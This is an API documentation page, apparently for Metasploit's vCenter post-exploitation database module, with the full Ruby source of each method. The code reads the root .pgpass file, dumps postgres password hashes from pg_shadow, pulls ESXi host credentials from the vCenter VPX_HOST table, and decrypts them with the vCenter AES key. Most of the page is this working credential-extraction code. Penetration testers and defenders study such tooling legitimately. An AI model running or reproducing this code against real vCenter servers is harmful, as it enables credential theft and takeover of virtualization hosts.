Module: Msf::Post::Vcenter::Database
- Includes:
- File
- Defined in:
- lib/msf/core/post/vcenter/database.rb
Instance Method Summary collapse
-
#get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name) ⇒ Hash
Returns a list of vpc customization contents.
-
#get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key) ⇒ Array
Returns a list of vpc customization contents.
-
#get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key) ⇒ Array
Returns a list of virtual machines located on the server.
- #pgpass_file ⇒ Object
-
#postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost') ⇒ String
A helper function to return the command line statement string to connect to the postgress server.
-
#process_pgpass_file(location = pgpass_file) ⇒ Array
Returns a array of hashes of the .pgpass file.
- #psql_bin ⇒ Object
-
#query_pg_shadow_values(pg_password, vcdb_user, vcdb_name) ⇒ Array
Returns a list of postgres users and password hashes from the database.
-
#query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil) ⇒ Array
Returns a list of vpx users and password hashes from the database.
-
#vpx_aes_decrypt(b64, vc_sym_key) ⇒ String
helper function to decrypt passwords stored in the pg database.
Methods included from File
#_append_file_powershell, #_append_file_unix_shell, #_can_echo?, #_read_file_meterpreter, #_read_file_powershell, #_read_file_powershell_fragment, #_shell_command_with_success_code, #_unix_max_line_length, #_win_ansi_append_file, #_win_ansi_write_file, #_win_bin_append_file, #_win_bin_write_file, #_write_file_meterpreter, #_write_file_powershell, #_write_file_powershell_fragment, #_write_file_unix_shell, #append_file, #attributes, #cd, #chmod, #copy_file, #dir, #directory?, #executable?, #exist?, #expand_path, #exploit_data, #exploit_source, #file?, #file_local_write, #file_remote_digestmd5, #file_remote_digestsha1, #file_remote_digestsha2, #immutable?, #initialize, #mkdir, #pwd, #read_file, #readable?, #rename_file, #rm_f, #rm_rf, #setuid?, #stat, #upload_and_chmodx, #upload_file, #writable?, #write_file
Methods included from Common
#clear_screen, #cmd_exec, #cmd_exec_get_pid, #cmd_exec_with_result, #command_exists?, #get_env, #get_envs, #initialize, #peer, #report_virtualization, #rhost, #rport
Instance Method Details
#get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name) ⇒ Hash
Returns a list of vpc customization contents
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# File 'lib/msf/core/post/vcenter/database.rb', line 188 def get_vpx_customization_spec(pg_password, vcdb_user, vcdb_name) return nil unless command_exists? psql_bin output = {} vpx_customization_specs = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT DISTINCT name FROM vc.vpx_customization_spec;' -P pager -A -t") return nil if vpx_customization_specs.nil? vpx_customization_specs = vpx_customization_specs.split("\n") return nil unless vpx_customization_specs.first vpx_customization_specs.each do |spec| xml = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c \"SELECT body FROM vpx_customization_spec WHERE name = '#{spec}\';\" -P pager -A -t").to_s.strip.gsub("\r\n", '').gsub("\n", '').gsub(/>\s*/, '>').gsub(/\s*</, '<') next if xml.nil? begin xmldoc = Nokogiri::XML(xml) do |config| config. = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NONET end rescue Nokogiri::XML::SyntaxError print_bad("Unable to read XML from #{spec}") next end output[spec] = xmldoc end output end |
#get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key) ⇒ Array
Returns a list of vpc customization contents
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# File 'lib/msf/core/post/vcenter/database.rb', line 257 def get_vpx_users(pg_password, vcdb_user, vcdb_name, vc_sym_key) return nil unless command_exists? psql_bin output = [] vpxuser_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT dns_name, ip_address, user_name, password FROM vc.vpx_host ORDER BY dns_name ASC;' -P pager -A -t") return nil if vpxuser_rows.nil? vpxuser_rows = vpxuser_rows.split("\n") return nil unless vpxuser_rows.first vpxuser_rows.each do |vpxuser_row| row_data = vpxuser_row.split('|') next if row_data.length < 4 # should always be 4 based on query, but this will catch 'command not found' or other things like that user = { 'fqdn' => row_data[0], 'ip' => row_data[1], 'user' => row_data[2] } vpxuser_secret_b64 = row_data[3].gsub('*', '') user['password'] = vpx_aes_decrypt(vpxuser_secret_b64, vc_sym_key).gsub('\"', '"') output.append(user) end output end |
#get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key) ⇒ Array
Returns a list of virtual machines located on the server
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# File 'lib/msf/core/post/vcenter/database.rb', line 223 def get_vpx_vms(pg_password, vcdb_user, vcdb_name, _vc_sym_key) return nil unless command_exists? psql_bin output = [] vm_rows = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT vmid, name, configfilename, guest_state, is_template FROM vpxv_vms;' -P pager -A -t") return nil if vm_rows.nil? vm_rows = vm_rows.split("\n") return nil unless vm_rows.first vm_rows.each do |vm_row| row_data = vm_row.split('|') next if row_data.length < 5 # should always be 5 based on query, but this will catch 'command not found' or other things like that vm = { 'vmid' => row_data[0], 'name' => row_data[1], 'configfilename' => row_data[3], 'guest_state' => row_data[4], 'is_template' => row_data[5] } output.append(vm) end output end |
#pgpass_file ⇒ Object
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# File 'lib/msf/core/post/vcenter/database.rb', line 9 def pgpass_file '/root/.pgpass' end |
#postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost') ⇒ String
A helper function to return the command line statement string to connect to the postgress server
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# File 'lib/msf/core/post/vcenter/database.rb', line 173 def postgress_connect(pg_password, vcdb_user, vcdb_name, vcdb_host = 'localhost') # should come in wrapped in quotes, but if not wrap unless pg_password.start_with?("'") && pg_password.end_with?("'") pg_password = "'#{pg_password}'" end "PGPASSWORD=#{pg_password} #{psql_bin} -h '#{vcdb_host}' -U '#{vcdb_user}' -d '#{vcdb_name}'" end |
#process_pgpass_file(location = pgpass_file) ⇒ Array
Returns a array of hashes of the .pgpass file
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# File 'lib/msf/core/post/vcenter/database.rb', line 22 def process_pgpass_file(location = pgpass_file) return nil unless file_exist?(location) contents = read_file(location) return nil if contents.nil? return nil if contents.empty? output = [] contents.each_line(chomp: true) do |line| # file format hostname:port:database:username:password # https://www.postgresql.org/docs/current/libpq-pgpass.html next unless line.include?(':') # attempt to do a little quality control sections = line.split(':') o = {} o['hostname'] = sections[0].strip o['port'] = sections[1].strip o['database'] = sections[2] o['username'] = sections[3] o['password'] = sections[4] o['port'] = '5432' if o['port'] == '*' output.append(o) end output end |
#psql_bin ⇒ Object
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# File 'lib/msf/core/post/vcenter/database.rb', line 13 def psql_bin '/opt/vmware/vpostgres/current/bin/psql' end |
#query_pg_shadow_values(pg_password, vcdb_user, vcdb_name) ⇒ Array
Returns a list of postgres users and password hashes from the database
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# File 'lib/msf/core/post/vcenter/database.rb', line 56 def query_pg_shadow_values(pg_password, vcdb_user, vcdb_name) return nil unless command_exists? psql_bin output = [] postgres_users = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT usename, passwd FROM pg_shadow;' -P pager -A -t") return nil if postgres_users.nil? postgres_users = postgres_users.split("\n") return nil unless postgres_users.first postgres_users.each do |postgres_user| row_data = postgres_user.split('|') next if row_data.length < 2 # should always be 2 based on query, but this will catch 'command not found' or other things like that user = { 'user' => row_data[0], 'password_hash' => row_data[1] } output.append(user) end output end |
#query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil) ⇒ Array
Returns a list of vpx users and password hashes from the database
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# File 'lib/msf/core/post/vcenter/database.rb', line 119 def query_vpx_creds(pg_password, vcdb_user, vcdb_name, symkey = nil) return nil unless command_exists? psql_bin output = [] vpx_creds = cmd_exec("#{postgress_connect(pg_password, vcdb_user, vcdb_name)} -c 'SELECT user_name, password, local_ip_address, ip_address, dns_name FROM VPX_HOST;' -P pager -A -t") return nil if vpx_creds.nil? vpx_creds = vpx_creds.split("\n") return nil unless vpx_creds.first vpx_creds.each do |vpx_user| row_data = vpx_user.split('|') next if row_data.length < 2 # should always be 2 based on query, but this will catch 'command not found' or other things like that user = { 'user' => row_data[0], 'encrypted_password' => row_data[1], 'local_ip' => row_data[2], 'ip_address' => row_data[3], 'dns_name' => row_data[4] } unless symkey.nil? # https://github.com/shmilylty/vhost_password_decrypt/blob/main/decrypt.py # https://pentera.io/blog/information-disclosure-in-vmware-vcenter/ encrypted_password = row_data[1].gsub('*', '').strip encrypted_password = Base64.decode64(encrypted_password) encrypted_password = encrypted_password.scan(/.{16}/) iv = encrypted_password.shift encrypted_password = encrypted_password.join begin cipher = OpenSSL::Cipher.new('aes-256-cbc') cipher.decrypt cipher.key = [symkey.strip].pack('H*') cipher.iv = iv user['decrypted_password'] = cipher.update(encrypted_password) + cipher.final rescue OpenSSL::Cipher::CipherError => e vprint_error("Unable to decrypt password for #{user} due to OpenSSL Cipher Error: #{e}") end end output.append(user) end output end |
#vpx_aes_decrypt(b64, vc_sym_key) ⇒ String
helper function to decrypt passwords stored in the pg database
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# File 'lib/msf/core/post/vcenter/database.rb', line 290 def vpx_aes_decrypt(b64, vc_sym_key) # https://www.pentera.io/wp-content/uploads/2022/03/Sensitive-Information-Disclosure_VMware-vCenter_f.pdf secret_bytes = Base64.strict_decode64(b64) iv = secret_bytes[0, 16] ciphertext = secret_bytes[16, 64] decipher = OpenSSL::Cipher.new('aes-256-cbc') decipher.decrypt decipher.iv = iv decipher.padding = 1 decipher.key = vc_sym_key return (decipher.update(ciphertext) + decipher.final).delete("\000") rescue StandardError => e elog('Error performing vpx_aes_decrypt', error: e) '' end |